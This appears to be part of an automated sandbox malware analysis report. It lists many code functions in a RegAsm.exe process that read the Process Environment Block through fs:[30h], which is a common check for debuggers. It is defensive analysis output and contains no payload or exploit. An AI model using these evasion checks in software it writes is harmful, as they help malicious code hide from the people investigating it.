Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B533A0 mov eax, dword ptr fs:[00000030h]	5_2_02B533A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF539D mov eax, dword ptr fs:[00000030h]	5_2_02BF539D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B18397 mov eax, dword ptr fs:[00000030h]	5_2_02B18397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B18397 mov eax, dword ptr fs:[00000030h]	5_2_02B18397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B18397 mov eax, dword ptr fs:[00000030h]	5_2_02B18397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B7739A mov eax, dword ptr fs:[00000030h]	5_2_02B7739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B7739A mov eax, dword ptr fs:[00000030h]	5_2_02B7739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1E388 mov eax, dword ptr fs:[00000030h]	5_2_02B1E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1E388 mov eax, dword ptr fs:[00000030h]	5_2_02B1E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1E388 mov eax, dword ptr fs:[00000030h]	5_2_02B1E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4438F mov eax, dword ptr fs:[00000030h]	5_2_02B4438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4438F mov eax, dword ptr fs:[00000030h]	5_2_02B4438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF53FC mov eax, dword ptr fs:[00000030h]	5_2_02BF53FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3E3F0 mov eax, dword ptr fs:[00000030h]	5_2_02B3E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3E3F0 mov eax, dword ptr fs:[00000030h]	5_2_02B3E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3E3F0 mov eax, dword ptr fs:[00000030h]	5_2_02B3E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B563FF mov eax, dword ptr fs:[00000030h]	5_2_02B563FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B303E9 mov eax, dword ptr fs:[00000030h]	5_2_02B303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B303E9 mov eax, dword ptr fs:[00000030h]	5_2_02B303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B303E9 mov eax, dword ptr fs:[00000030h]	5_2_02B303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B303E9 mov eax, dword ptr fs:[00000030h]	5_2_02B303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B303E9 mov eax, dword ptr fs:[00000030h]	5_2_02B303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B303E9 mov eax, dword ptr fs:[00000030h]	5_2_02B303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B303E9 mov eax, dword ptr fs:[00000030h]	5_2_02B303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B303E9 mov eax, dword ptr fs:[00000030h]	5_2_02B303E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDF3E6 mov eax, dword ptr fs:[00000030h]	5_2_02BDF3E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDB3D0 mov ecx, dword ptr fs:[00000030h]	5_2_02BDB3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDC3CD mov eax, dword ptr fs:[00000030h]	5_2_02BDC3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2A3C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2A3C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2A3C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2A3C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2A3C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2A3C0 mov eax, dword ptr fs:[00000030h]	5_2_02B2A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B283C0 mov eax, dword ptr fs:[00000030h]	5_2_02B283C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B283C0 mov eax, dword ptr fs:[00000030h]	5_2_02B283C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B283C0 mov eax, dword ptr fs:[00000030h]	5_2_02B283C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B283C0 mov eax, dword ptr fs:[00000030h]	5_2_02B283C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA63C0 mov eax, dword ptr fs:[00000030h]	5_2_02BA63C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B17330 mov eax, dword ptr fs:[00000030h]	5_2_02B17330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE132D mov eax, dword ptr fs:[00000030h]	5_2_02BE132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE132D mov eax, dword ptr fs:[00000030h]	5_2_02BE132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4F32A mov eax, dword ptr fs:[00000030h]	5_2_02B4F32A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1C310 mov ecx, dword ptr fs:[00000030h]	5_2_02B1C310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B40310 mov ecx, dword ptr fs:[00000030h]	5_2_02B40310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA930B mov eax, dword ptr fs:[00000030h]	5_2_02BA930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA930B mov eax, dword ptr fs:[00000030h]	5_2_02BA930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA930B mov eax, dword ptr fs:[00000030h]	5_2_02BA930B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5A30B mov eax, dword ptr fs:[00000030h]	5_2_02B5A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5A30B mov eax, dword ptr fs:[00000030h]	5_2_02B5A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5A30B mov eax, dword ptr fs:[00000030h]	5_2_02B5A30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BC437C mov eax, dword ptr fs:[00000030h]	5_2_02BC437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B27370 mov eax, dword ptr fs:[00000030h]	5_2_02B27370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B27370 mov eax, dword ptr fs:[00000030h]	5_2_02B27370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B27370 mov eax, dword ptr fs:[00000030h]	5_2_02B27370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDF367 mov eax, dword ptr fs:[00000030h]	5_2_02BDF367
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B19353 mov eax, dword ptr fs:[00000030h]	5_2_02B19353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B19353 mov eax, dword ptr fs:[00000030h]	5_2_02B19353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA035C mov eax, dword ptr fs:[00000030h]	5_2_02BA035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA035C mov eax, dword ptr fs:[00000030h]	5_2_02BA035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA035C mov eax, dword ptr fs:[00000030h]	5_2_02BA035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA035C mov ecx, dword ptr fs:[00000030h]	5_2_02BA035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA035C mov eax, dword ptr fs:[00000030h]	5_2_02BA035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA035C mov eax, dword ptr fs:[00000030h]	5_2_02BA035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEA352 mov eax, dword ptr fs:[00000030h]	5_2_02BEA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA2349 mov eax, dword ptr fs:[00000030h]	5_2_02BA2349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1D34C mov eax, dword ptr fs:[00000030h]	5_2_02B1D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1D34C mov eax, dword ptr fs:[00000030h]	5_2_02B1D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF5341 mov eax, dword ptr fs:[00000030h]	5_2_02BF5341
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE60B8 mov eax, dword ptr fs:[00000030h]	5_2_02BE60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE60B8 mov ecx, dword ptr fs:[00000030h]	5_2_02BE60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB80A8 mov eax, dword ptr fs:[00000030h]	5_2_02BB80A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B25096 mov eax, dword ptr fs:[00000030h]	5_2_02B25096
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4D090 mov eax, dword ptr fs:[00000030h]	5_2_02B4D090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4D090 mov eax, dword ptr fs:[00000030h]	5_2_02B4D090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5909C mov eax, dword ptr fs:[00000030h]	5_2_02B5909C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2208A mov eax, dword ptr fs:[00000030h]	5_2_02B2208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1D08D mov eax, dword ptr fs:[00000030h]	5_2_02B1D08D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1C0F0 mov eax, dword ptr fs:[00000030h]	5_2_02B1C0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B620F0 mov ecx, dword ptr fs:[00000030h]	5_2_02B620F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B450E4 mov eax, dword ptr fs:[00000030h]	5_2_02B450E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B450E4 mov ecx, dword ptr fs:[00000030h]	5_2_02B450E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1A0E3 mov ecx, dword ptr fs:[00000030h]	5_2_02B1A0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA60E0 mov eax, dword ptr fs:[00000030h]	5_2_02BA60E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B280E9 mov eax, dword ptr fs:[00000030h]	5_2_02B280E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA20DE mov eax, dword ptr fs:[00000030h]	5_2_02BA20DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF50D9 mov eax, dword ptr fs:[00000030h]	5_2_02BF50D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B490DB mov eax, dword ptr fs:[00000030h]	5_2_02B490DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov ecx, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov ecx, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov ecx, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov ecx, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0 mov eax, dword ptr fs:[00000030h]	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9D0C0 mov eax, dword ptr fs:[00000030h]	5_2_02B9D0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9D0C0 mov eax, dword ptr fs:[00000030h]	5_2_02B9D0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE903E mov eax, dword ptr fs:[00000030h]	5_2_02BE903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE903E mov eax, dword ptr fs:[00000030h]	5_2_02BE903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE903E mov eax, dword ptr fs:[00000030h]	5_2_02BE903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE903E mov eax, dword ptr fs:[00000030h]	5_2_02BE903E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1A020 mov eax, dword ptr fs:[00000030h]	5_2_02B1A020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1C020 mov eax, dword ptr fs:[00000030h]	5_2_02B1C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3E016 mov eax, dword ptr fs:[00000030h]	5_2_02B3E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3E016 mov eax, dword ptr fs:[00000030h]	5_2_02B3E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3E016 mov eax, dword ptr fs:[00000030h]	5_2_02B3E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3E016 mov eax, dword ptr fs:[00000030h]	5_2_02B3E016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA4000 mov ecx, dword ptr fs:[00000030h]	5_2_02BA4000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov eax, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov ecx, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov eax, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov eax, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov eax, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov eax, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov eax, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov eax, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov eax, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov eax, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov eax, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov eax, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31070 mov eax, dword ptr fs:[00000030h]	5_2_02B31070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4C073 mov eax, dword ptr fs:[00000030h]	5_2_02B4C073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9D070 mov ecx, dword ptr fs:[00000030h]	5_2_02B9D070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA106E mov eax, dword ptr fs:[00000030h]	5_2_02BA106E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF5060 mov eax, dword ptr fs:[00000030h]	5_2_02BF5060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B22050 mov eax, dword ptr fs:[00000030h]	5_2_02B22050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BC705E mov ebx, dword ptr fs:[00000030h]	5_2_02BC705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BC705E mov eax, dword ptr fs:[00000030h]	5_2_02BC705E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4B052 mov eax, dword ptr fs:[00000030h]	5_2_02B4B052
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA6050 mov eax, dword ptr fs:[00000030h]	5_2_02BA6050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3B1B0 mov eax, dword ptr fs:[00000030h]	5_2_02B3B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD11A4 mov eax, dword ptr fs:[00000030h]	5_2_02BD11A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD11A4 mov eax, dword ptr fs:[00000030h]	5_2_02BD11A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD11A4 mov eax, dword ptr fs:[00000030h]	5_2_02BD11A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD11A4 mov eax, dword ptr fs:[00000030h]	5_2_02BD11A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA019F mov eax, dword ptr fs:[00000030h]	5_2_02BA019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA019F mov eax, dword ptr fs:[00000030h]	5_2_02BA019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA019F mov eax, dword ptr fs:[00000030h]	5_2_02BA019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA019F mov eax, dword ptr fs:[00000030h]	5_2_02BA019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1A197 mov eax, dword ptr fs:[00000030h]	5_2_02B1A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1A197 mov eax, dword ptr fs:[00000030h]	5_2_02B1A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1A197 mov eax, dword ptr fs:[00000030h]	5_2_02B1A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B77190 mov eax, dword ptr fs:[00000030h]	5_2_02B77190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B60185 mov eax, dword ptr fs:[00000030h]	5_2_02B60185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDC188 mov eax, dword ptr fs:[00000030h]	5_2_02BDC188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDC188 mov eax, dword ptr fs:[00000030h]	5_2_02BDC188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BC71F9 mov esi, dword ptr fs:[00000030h]	5_2_02BC71F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B501F8 mov eax, dword ptr fs:[00000030h]	5_2_02B501F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF61E5 mov eax, dword ptr fs:[00000030h]	5_2_02BF61E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B451EF mov eax, dword ptr fs:[00000030h]	5_2_02B451EF
